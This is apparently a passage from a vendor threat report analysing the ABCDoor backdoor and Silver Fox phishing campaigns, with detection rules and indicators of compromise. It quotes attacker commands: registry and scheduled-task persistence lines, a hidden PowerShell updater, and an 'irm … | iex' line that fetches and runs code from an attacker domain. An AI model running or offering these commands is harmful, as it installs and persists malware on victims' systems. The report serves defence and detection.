The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

  1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
    "C:\Users\&lt;username&gt;\AppData\Local\appclient\python\pythonw.exe" -m appclient

    Persistence is established by executing the following command:
    cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"
  2. Task scheduler: The malware executes
    cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

  • MainManager: handles C2 connection and authorization (sending system metadata)
  • MessageManager: registers and executes message handlers
  • AutoStartManager: manages backdoor persistence
  • ClientManager: handles backdoor updates and removal
  • SystemInfoManager: collects data from the victim’s system, including screenshots
  • RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
  • FileManager: performs file system operations
  • KeyboardManager: emulates keyboard input
  • ProcessManager: manages system processes
  • ClipboardManager: exfiltrates clipboard contents to the C2
  • CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
  • Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)
Backdoor strings with characteristic names

Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

  • Emulating a double click while broadcasting the victim’s screen
  • A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

  • Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
  • Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
  • Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version Compiled date (UTC) Key updates ABCDoor .pyd MD5 hash
121 2024.12.19 18:27:11 –  Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)
–  No OOP used
–  Registry persistence
5b998a5bc5ad1c550564294034d4a62c
143 2025.02.04 01:15:00 Client updates
–  Task scheduler persistence
–  OOP implementation (classes)
–  Clipboard management
–  Process management
–  Asymmetric file and directory encryption
c50c980d3f4b7ed970f083b0d37a6a6a
152 2025.04.01 15:39:36 –  DPAPI encryption functions
–  Chunked file uploading to C2
de8f0008b15f2404f721f76fac34456a
154 2025.05.09 13:36:24 –  Implementation of installation channels
–  Key combination emulation
9bf9f635019494c4b70fb0a7c0fb53e4
156 2025.08.11 13:36:10 –  Retrieval and logging of initial installation time to the registry a543b96b0938de798dd4f683dd92a94a
157 2025.08.28 14:23:57 –  Use of DDA source in ffmpeg for monitor screen broadcasting fa08b243f12e31940b8b4b82d3498804
157 2025.09.23 11:38:17 –  Compiled with Cython 3.0.7 (previous version used Cython 3.0.12) 13669b8f2bd0af53a3fe9ac0490499e5

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

    • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
    • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
      powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"

      This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

      • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
        • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
        • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
      • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
      • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
      • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
      • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

      • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
      • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
      • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
      • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
      • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
      • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

      • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
      • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
      • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
      • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
      • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

Icons of the SFX archives

Icons of the SFX archives

When executed, the SFX archive ran the following script:

SFX archive script

SFX archive script

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script

The run_direct.ps1 script

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

Decrypted configuration for the JS loader

Decrypted configuration for the JS loader

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Log fragments gathered from throughout the JS code

Log fragments gathered from throughout the JS code

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
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ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
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Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
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ABCDoor .pyd files
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March 2026 Phishing Email Trends Report

Statistics on Attachment Threats Types. trojans accounted for the largest share of attachment-based threats in March 2026 at 21%. phishing (FakePage) came in at 15%, with a significant month-over-month decrease in share from 42% to 15%, but a slight decrease in volume. downloaders were identified at 9% and droppers at 7%. trojans continue to circulate […]

March 2026 APT Attack Trends Report (Domestic)

Overview ahnLab monitored APT attacks against domestic targets during the month of March 2026. most of the attacks were launched through Spear Phishing emails sent after reconnaissance of specific targets. APT Attack Trends in Korea the majority of distribution vectors were shortcut (.lnk) files, with LNK-based attacks dominating. Type A is to run PowerShell with […]
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